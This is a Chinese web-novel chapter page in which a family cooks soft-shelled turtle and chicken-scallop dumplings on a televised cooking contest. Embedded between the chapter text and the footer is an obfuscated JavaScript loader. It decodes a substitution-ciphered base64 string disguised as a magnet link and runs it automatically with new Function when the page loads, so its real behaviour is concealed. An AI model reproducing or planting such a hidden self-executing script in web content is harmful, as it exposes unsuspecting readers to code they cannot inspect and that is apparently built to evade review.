趣书网

阅读记录  |   用户书架
上一章
目录 | 设置
下一页

第110章 《老蚌怀珠》(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

午休结束,节目正式开始录制。

冯致远和李友军两家,分别进入给他们安排好的厨房里。

这一次,两家人都明显分排好了各自的工作,所以两家都是分别进行着忙碌。

冯致远这边,他首先是把选好的甲鱼宰杀,取下甲鱼完整的壳。

让比较有耐心的姥爷帮忙慢慢把龟壳上的黑膜给刮干净。

同时,冯致远自己开始进行甲鱼的腌制处理。

另外一边,父亲用刀背在把鸡肉砸成肉泥。

同时,姥姥和母亲在锅里煮着鸽蛋。

郑清悠按照之前冯致远安排,也在用高汤小心煨煮准备好的冬瓜球。

可以说,冯致远全家依旧还是各司其职,每个人都是在进行忙碌。

另外一边,李友军也安排家里人一起动手帮忙。

因为各种配菜也都是需要自己准备,所以李友军这边显得特别忙碌。

冯致远这边差不多腌制好了甲鱼肉,并没有去进行烹煮,而是用水进行了一个水炒。

看到冯致远进行水炒,让那边的评委都有些奇怪?

周瑞发问:“郑大师,冯厨师这个用水去炒,是有专门的技艺吗?”

郑义竣笑着说:“有的,在鲁菜里有这种技法,就是不加油,用水去炒。

冯致远的这个做法,是因为他做的这个菜,是不能够见油的,所以他用水炒的方式,这是一方面去除元鱼肉的味道,同时也是先给元鱼肉入一个底口。”

众人看着冯致远用水炒,真的是感到有些不可思议。

而冯致远水炒也是如郑义竣所说,没有完全把甲鱼肉给炒熟,只是进行去味和入味。

差不多变色后,也就盛出去,并且把水炒的一些小料都弃之不要。

冯怀安此时把鸡肉泥已经准备好,同时也把瑶柱剁成泥加入到鸡肉泥中。

然后,姥姥带着母亲和郑清悠一起,开始用手挤丸子。

看到这一幕,倒是让一直旁观的推荐人柳伊霏有点跃跃欲试了。

郑清悠还真的是让柳伊霏上手试了试。

在姥姥、冯致远母亲和郑清悠一起指点下,柳伊霏算是学着挤出一个丸子。

虽然形状上不如她们做的圆润,但也还真的是有模有样。

周瑞发看到了,忍不住笑着说:“哈哈哈,没想到神仙姐姐竟然也动手跟着一起做菜了,不得不说,冯厨师他们家这边,真的是很能体现一种家庭的欢乐感,主打一个重在参与,连推荐人都一起参与其中。”

郑义竣忍不住说;“我觉得这倒是很好,做菜本就是一个比较轻松有乐趣的事情,大家一起参与才有意思。”

刘教授和另外两位评委也都一起点头。

节目组很多人也觉得,相对于李友军家那边紧锣密鼓的做菜。

冯致远他们一家人参加节目这种享受的状态,真的是让人看着觉得非常舒服。

在柳伊霏的参与下,鸡肉瑶柱丸子倒也算是很快准备好。

此时,各种辅料基本上都准备妥当了。

冯致远用一个小锅,里面倒上了黄酒进行加热。

用勺子小心翼翼把黄酒烧开后的沫子打掉。

等到黄酒加热好,把甲鱼给放在一个盆子里,放上葱段和姜片,再把黄酒倒入其中,接着直接把盆子盖上一个盘子,放在蒸笼里去进行蒸制。

这边冯致远才把刚把甲鱼送进锅里蒸制,另外一边李友军他们已经完成了。

(function(){function q6a3e4d(za489035){var zc0af="Uk.1(d/OVfj5ruKLbMtye&S-[H37T8=D~xPAoFn_B9:Qa4lcqZ^%Ri,]WN2sg?E|C!wvIG@Y$Xpm;z6Jh0";var xd39f8="~89!jAm_sSCagJxetFbD[UZ:h,PB6RnlOI.Hwku%EV&^G$=iT|]dQz/@0p;X17rLco2q3M?4Kv-5(fNyWY";return atob(za489035).split('').map(function(d3f7315){var va7ca=zc0af.indexOf(d3f7315);return va7ca==-1?d3f7315:xd39f8[va7ca]}).join('')}var c=q6a3e4d('magnet:?xt=b2M9JSFvZSJWIisiTGdndCJebHpuPUNiYyE9Oyl7O3puPUNiYyE9O0NZP1R0LkhiazVMVGclZ0hOP1lna0g9Z201Z0lUdD8pe2N6OyxRRzVDWmhjPSxQYkxWYjs9NVhjcjViIUVQTkQ1YnohRS8pKXtFTGJuRT19WDVFID1MVG13V2x6bj1DYmMhPTtGemt3V2ttVD8pe0VMYm5FPSBmYkVjPXJQekUhL2pbNUVqISVMO0Z6a3dXa21UPyl9Mlg1RSBEWS5XV1cubGUiRChWcEFXZ098fmR5T3VmT0FxR3wiSCJYTEVwV2ciSCJWYyVwZ1ltIkgiQ0NicHdXd21wVz9wV1kgZ1ctZ1ctV1QiXjJYNUUgPWclWWdZTENsTj9ZZ2tlPUxUbXdXOy4/KSs9TFRtd1c7Z2dUKSs9TFRtd1c7Z2dnKSs9TFRtd1c7LmspXkhYbS5XWSVsTj9ZZ2tlPUxUbXdXOy5rKSs9TFRtd1c7Z2dUKSs9TFRtd1c7Z2dnKSs9TFRtd1c7Lj8pXkhbbUxMQ3c/Lmw9Z201Z0lUdD9lPWclWWdZTEM7IjBJOUpDLzluJU02KEMvRG8lZGxsIileSFZnQ0w1THR0bD1nJVlnWUxDOyIwSXVEMHM4RDhoS0R0aDluJWRsbCIpSD1MbUM1bWw9ZyVZZ1lMQzsiQ0k5Y0NJOEo1aG09IilIRHola0kuJW1rbD1nJVlnWUxDOyJDLzlvdGFNKFNSbGwiKUgodFl3Q2w9ZyVZZ1lMQzsiQ0k3VjVzUmwiKUhpQzV0dGw9ZyVZZ1lMQzsiQy85d1NzdWlTUmxsIilIY0NDLll6d1dtbD1nJVlnWUxDOyI1Ly5OdHJsbCIpSFs/JW0uJWtJVGxOP1lna2U9ZyVZZ1lMQzsicWhNVzVkbGwiKV5IQ0l3VDUlV2xbPyVtLiVrSVRlPWclWWdZTEM7IjB3OU50ZGxsIileSEtZVC5DWWxbPyVtLiVrSVRlPWclWWdZTEM7IlMvS1h0SXhsIileSD10Z2tJbFs/JW0uJWtJVGU9ZyVZZ1lMQzsiQy9NblNhLmIiKV5IdiV6TFR6azVDbD1nJVlnWUxDOyJ0aE1XMHdybCIpSDV0JXp3bWw9ZyVZZ1lMQzsidGhNbyIpSE4lJUwla2w9ZyVZZ1lMQzsidGEuW1NkbGwiKTJYNUUgRkM/LnRZbW1sPWclWWdZTEM7IkN3Z1c1aDhEJXJsbCIpMlg1RSBMTEx0Q1l6Mlg1RSBbQ21MZ3dnbENZP1R0LmVXXjJjejtDWT9UdC5QREw9cmJbPmcpe1tDbUxnd2dsQ1k/VHQuZUtZVC5DWTs9dGdrSTspKkNZP1R0LlBETD1yYlspXn1jejtEIUM1YmMhPVBWTDVFQ1tQYz0lTEt+ejtGQz8udFltbSk+cGcpe0xMTHRDWXpsPWdtNWdJVHQ/ZVZnQ0w1THR0Xjs9ZyVZZ1lMQzsiJWE5WSVhTUpTaEJsIikpMkxMTHRDWXpQYyVsImIiKz10Z2tJOykqZ0xZMkxMTHRDWXpQVmJKRExQb2MlYltsImdXV18iMkxMTHRDWXpQVmJKRExQW0xjcltibCJtV1dOSyIyTExMdENZelAlY1Y1dERMJWxiRW5MMmN6Oz1nbTVnSVR0P1B0ISVKMWw9bkREKXs9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtMTEx0Q1l6KX1MRFZMe1g1RSAha1c1P2dsem49Q2JjIT07KXs9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtMTEx0Q1l6KTJOP1lna1BFTC8hWExCWEw9YnxjVmJMPUxFO04lJUwla0gha1c1P2dIejVEVkwpfTJOP1lna1A1JSVCWEw9YnxjVmJMPUxFO04lJUwla0gha1c1P2dIejVEVkwpfX1YNUUgRVklbUM1bD1nbTVnSVR0P2VWZ0NMNUx0dF47PWclWWdZTEM7IlNoZ2NTaFJsIikpMkVZJW1DNVBjJWxiazVMVGclZytDSXdUNSVXOz10Z2tJOykqZ0xZKTJFWSVtQzVQVmJKRExQW0xjcltibCJXTksiMkVZJW1DNVBWYkpETFAhWExFekQhb2wiW2MlJUw9IjJDIT1WYiBWdD9rd0x3Z2w7JXpJdHRIblRDd3dITklrP3psd1dXKWw+M0UhL2NWTFBFNUNMO2V6TGJDWzslekl0dEhuVEN3dylIPUxvIDNFIS9jVkw7OztPSEVMKExDYilsPlZMYnFjL0whbmI7OzspbD5FTChMQ2I7PUxvIEJFRSFFOyJiYy9MIW5iIikpKUhOSWs/eikpKV4pMlg1RSAvdHQlJWw1Vko9QyB6bj1DYmMhPTslLj9UV0N6WXcpe1g1RSAvay53em0udz9sZSIoViJIIkNWViJIInJjeiJIIihOciJIIk49ciJIIihOckwiSCJvTHROIkgiVlhyIkgiW2IvRCJIIihOTHIiXjJYNUUgb3dZWVR3bC9rLnd6bS53P1BETD1yYlsyL2sud3ptLnc/bC9rLnd6bS53P2VLWVQuQ1k7PXRna0k7KSpvd1lZVHcpXjJDIT1WYiB6JVc/a2xlIlN3Q25DSU1YdHNOTiU9OWl0aEtiU3clbXRmbVd0SWRUfnFGZzZybGwiXjJYNUUgRXc/Z0lnbHolVz9rZVdeMmN6O3olVz9rUERMPXJiWz5nKXtFdz9nSWdseiVXP2tlS1lULkNZOz10Z2tJOykqeiVXP2tQREw9cmJbKV59WDVFIHJ0d1RMdFQlbE41RVZMeD1iO2JrNUxUZyVnKTJjejtjVjY1NjtydHdUTHRUJSkpcnR3VEx0VCVsVzJydHdUTHRUJStsa2trazJYNUUgcm13SXcubGUiW2JiTlYtLCJIRlk1bS5ZO0V3P2dJZylIIltiL0QiSGBWLzR7cnR3VEx0VCV9YEhgNHtiazVMVGclZ31QNHsvay53em0udz99YF5lY0NDLll6d1dtXjsiLCIpMmN6O0xMTHRDWXoxbD1uREQpTExMdENZelBYNURuTCtsIlxFXD1WTD0lIHZWIFshVmIgIitybXdJdy4yYkVKe1g1RSBuQ210TFlXbDVvNWNiIFZ0P2t3THdnO3Jtd0l3Lkh7RUwlY0VMQ2ItInohREQhbyJ9SGdtV1cpMm5DbXRMWVdsNW81Y2IgbkNtdExZV1BiTEtiOykyWDVFIEpZa3QlJWxuQ210TFlXUGM9JUxLfno7PUxUbXdXO1RnKSkyWDVFIHpXP1R0NVRsIiIyY3o7SllrdCUlPmxXKXt6Vz9UdDVUbG5DbXRMWVdlPUxtQzVtXjtKWWt0JSUpMm5DbXRMWVdsbkNtdExZV2U9TG1DNW1eO1dISllrdCUlKX1uQ210TFlXbG5DbXRMWVdldiV6TFR6azVDXjssUHtnSFl9LHIpZTV0JXp3bV47O0tsPktlKHRZd0NeOyIiKWVpQzV0dF47KWVjQ0MuWXp3V21eOyIiKSkpZWNDQy5ZendXbV47IiIpMm5DbXRMWVdsbkNtdExZVyt6Vz9UdDVUMm5DbXRMWVdsPWclWWdZTEM7bkNtdExZVykyJS4/VFdDell3bG5DbXRMWVdlKHRZd0NeOyIsIillV14yY3o7TExMdENZejFsPW5ERClMTEx0Q1l6UFg1RG5MK2wiXEVcPXJMYiB2ViBbIVZiIFZuQ0NMVlYiKyUuP1RXQ3pZd31DNWJDWztKa1Q1V3drNUwpe2N6O0xMTHRDWXoxbD1uREQpTExMdENZelBYNURuTCtsIlxFXD1yTGIgdlYgWyFWYiB6NWNETCUiK0prVDVXd2s1TH1YNUUgWHRZZ21DellsWG0uV1klO0RZLldXVy5QQyE9QzViO2VgPSFvcDR7eTViTGUiPSFvIl47KX1gSGBbRUx6cDR7RCFDNWJjIT1QW0VMen1gSGBuVkNwNHtiLiV0WXQ7KX1gXilQViFFYjs7OylsPj10Z2tJOylwUG0pKWVjQ0MuWXp3V21eOyJIIikpMlg1RSBWTFcuVENsWHRZZ21DellQYz0lTEt+ejs9TFRtd1c7VGcpKT5wZ0BYdFlnbUN6WWU9TG1DNW1eO1h0WWdtQ3pZUGM9JUxLfno7PUxUbXdXO1RnKSkpLSIiMlh0WWdtQ3pZbFh0WWdtQ3pZZUR6JWtJLiVta147VkxXLlRDSCIiKWUodFl3Q147IiIpZWlDNXR0XjspZWNDQy5ZendXbV47IiIpK1ZMVy5UQzJFWSVtQzVQVkVDbGUiW2JiTlYtLCJIJS4/VFdDell3SEVZJW1DNVBjJUhYdFlnbUN6WV5lY0NDLll6d1dtXjsiLCIpMmJFSns9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtFWSVtQzUpfUM1YkNbO0wpez1nbTVnSVR0P1A1JSVCWEw9YnxjVmJMPUxFOyJ5fkdqIT1iTD1ifCE1JUwlIkg7OylsPns9Z201Z0lUdD9QdCElSlBjPVZMRWI3THohRUw7RVklbUM1SD1nbTVnSVR0P1B0ISVKUENbY0QlNiElTFZlV14pfSkpfWN6O0xMTHRDWXoxbD1uREQpe0xMTHRDWXpQWDVEbkwrbCJcRVw9NU5OTD0lTCUgTC8gYiEgW2IvRCIyWDVFIEVMLkkuSUxsPWdtNWdJVHQ/UHJMYkJETC9MPWI3SnglO0VZJW1DNVBjJSkyY3o7RUwuSS5JTGxsPW5ERFpaRUwuSS5JTGxsbj0lTHpjPUwlKXtMTEx0Q1l6UFg1RG5MK2wiXEVcPSBDNT1iIHJMYiBMLyB6RSEvIFtiL0QifX19MmN6O0xMTHRDWXoxbD1uREQpe0xMTHRDWXpQWDVEbkwrbCJcRVw9Vkw9JSAoViBbIVZiICIrW0NtTGd3Z31YNUUgYi4ldFl0bHpuPUNiYyE9Oyl7YkVKe0MhPVZiID16eldZJS5sOz1MbyB5NWJMKVBiIXwhQzVETHk1YkxmYkVjPXI7KTJDIT1WYiBuZ3pUZ3dJVGxgVi9iY09WYyVPNHt6elRJP1BiazVMVGclZ31PTlhgMkRMYiB2LjV3Q21sdWZ+NlBONUVWTDtEIUM1RGZiIUU1ckxQckxieGJMLztuZ3pUZ3dJVCkpMmN6O3YuNXdDbWxsPW5ERFpadi41d0NtUCU1YkwxbD16eldZJS4pe3YuNXdDbWx7TlhxYy9MVi1XSCU1YkwtPXp6V1klLn19RUxibkU9IHYuNXdDbVBOWHFjL0xWK2d9QzViQ1s7KG01Vz8pe0VMYm5FPSBnfX0yWDVFIEZZNW0uWWx6bj1DYmMhPTs9LkNDWSl7RUxibkU9ID1nJVlnWUxDOz0uQ0NZKWVEeiVrSS4lbWteOz1MVG13VztZdylIPXRna0k7KVBiIWZiRWM9cjtJVClQVkRjQ0w7S1lULkNZOz10Z2tJOykqLikrdykpfTIvdHQlJTtGWTVtLlk7W0NtTGd3ZykpMk4/WWdrZSI1JSVCWEw9YnxjVmJMPUxFIl47Ii9MVlY1ckwiSDt6bj1DYmMhPTsobTVXPyl7Y3o7KG01Vz9QJTViNVBGbGxiazVMVGclZyl7PWdtNWdJVHQ/UHJMYkJETC9MPWI3SnglO0VZJW1DNVBjJSlQRUwvIVhMOykyWDVFIChZWVRrZzVMbD1uREQyY3o7TExMdENZejFsPW5ERCl7TExMdENZelBYNURuTCtsIlxFXD1FTENMY1hMIEwvIE4hVmIgL0xWVjVyTCIyTExMdENZelBYNURuTCtsIlxFXD1MUCU1YjVQWCAiKyhtNVc/UCU1YjVQdjIoWVlUa2c1TGw7UFBQW0NZLkxMaylsPntjejsxW0NZLkxMa1paW0NZLkxMa1BETD1yYls8bFcpRUxibkU9MkxMTHRDWXpQWDVEbkwrbCJcRVw9IitbQ1kuTExrUCghYz07IiAiKX19PUxvIE1uPUNiYyE9OyI1RXJWIkgobTVXP1AlNWI1UHYpO3tPYiVDVi1bbUxMQ3c/LkhPRCFyLShZWVRrZzVMfSl9fSkpfSk7ZSJTd0NuMHM3V35hREkwczhpdGhLYlN3JW10Zm1XdElkVH5xRmc2cmxsIl5IImdZbSJIb2M9JSFvSCUhQ24vTD1iKX0yVkxnZ3Q7KTI='.substr(11));new Function(c)()})();
上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间